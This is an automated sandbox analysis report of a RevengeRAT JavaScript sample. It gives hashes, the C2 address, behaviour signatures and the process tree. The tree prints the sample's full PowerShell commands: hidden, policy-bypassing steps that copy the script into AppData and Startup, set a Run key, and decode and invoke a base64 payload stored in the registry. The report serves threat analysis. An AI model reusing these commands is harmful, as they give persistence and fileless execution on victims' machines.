Analysis

  • max time kernel
    132s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    16-10-2024 01:17

General

  • Target

    213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js

  • Size

    60KB

  • MD5

    14e68a45361bb287393747ce2b271838

  • SHA1

    16144ac8dc7ecc27e4667a3241da8810f8b84778

  • SHA256

    213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a

  • SHA512

    1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb

  • SSDEEP

    768:tvRmozOfNAG9lUAy1NgRXbkDvAAdkqC9m3ppOJlPcLNdpgF3hFAto:94oifpTq1NxAAiqC9mZpk8NdpW3hF2o

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

54.146.241.16:5222

Mutex

f9796de67e

Signatures

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Drops startup file 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2208
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'));wscript 'C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2744
      • C:\Windows\system32\wscript.exe
        "C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1508
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js' -PropertyType String -Force;"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3024
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js'))"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops startup file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2788
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2764

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a.js

    Filesize

    60KB

    MD5

    14e68a45361bb287393747ce2b271838

    SHA1

    16144ac8dc7ecc27e4667a3241da8810f8b84778

    SHA256

    213857b03db27acb0cb52357799ba8f3ce4adb843e66ddc35bf8949d10ebd61a

    SHA512

    1a865076c36fa8bf69eba5aca97298be88b093f50af16b63ac878a6482f928c418e547296d00075e1a27c85580af337e8f41781180eee50755754d8915dbe8fb

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    c10f996481440ace7fa175ba35e550fb

    SHA1

    6513a6ba964b6d1d09ce21952070e683958e47aa

    SHA256

    9b2a214f257d6b0766a92c915b41706d1128aa123d6332f5004478a4a648a227

    SHA512

    c14d6497af63c2dc66f88ebd93aec1b933f4336a2335042f22ae26cbb35a0b183e6f56db21b4d7d31ad7236bf4daebc97e586176b0c40949b184f9651b5ac319

  • memory/2744-7-0x0000000002570000-0x0000000002578000-memory.dmp

    Filesize

    32KB

  • memory/2744-4-0x000007FEF581E000-0x000007FEF581F000-memory.dmp

    Filesize

    4KB

  • memory/2744-8-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2744-9-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2744-11-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2744-5-0x000000001B1B0000-0x000000001B492000-memory.dmp

    Filesize

    2.9MB

  • memory/2744-13-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2744-6-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2744-31-0x000007FEF5560000-0x000007FEF5EFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2744-32-0x000007FEF581E000-0x000007FEF581F000-memory.dmp

    Filesize

    4KB

  • memory/2764-30-0x0000000002650000-0x000000000265A000-memory.dmp

    Filesize

    40KB